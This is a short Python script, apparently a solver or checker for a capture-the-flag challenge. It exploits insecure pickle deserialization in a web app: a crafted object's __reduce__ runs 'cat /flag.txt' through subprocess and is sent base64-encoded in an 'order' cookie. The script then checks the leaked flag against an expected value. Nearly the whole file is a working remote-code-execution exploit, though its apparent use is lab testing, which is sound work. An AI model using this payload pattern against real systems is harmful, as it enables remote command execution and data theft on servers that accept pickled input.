#!/usr/bin/python
# -*- coding: utf-8 -*-
import re, sys, requests, pickle, base64

HOST, PORT, FLAG = sys.argv[1:4]

def exp(ip, port):
    url = f"http://{ip}:{port}"
    
    class RCE:
        def __reduce__(self):
            import subprocess
            return (subprocess.check_output, (['cat', '/flag.txt'],))
    
    pickled = pickle.dumps(RCE())
    payload = base64.b64encode(pickled).decode()
    
    cookies = {'order': payload}
    response = requests.get(f"{url}/order", cookies=cookies)
    
    match = re.search(r"b'([^']+)'", response.text)
    if match:
        flag_content = match.group(1).replace('\\n', '').strip()
        return flag_content
    
    return ""

if __name__ == '__main__':
    result = exp(HOST, PORT)
    assert result == FLAG
    print("Pass!")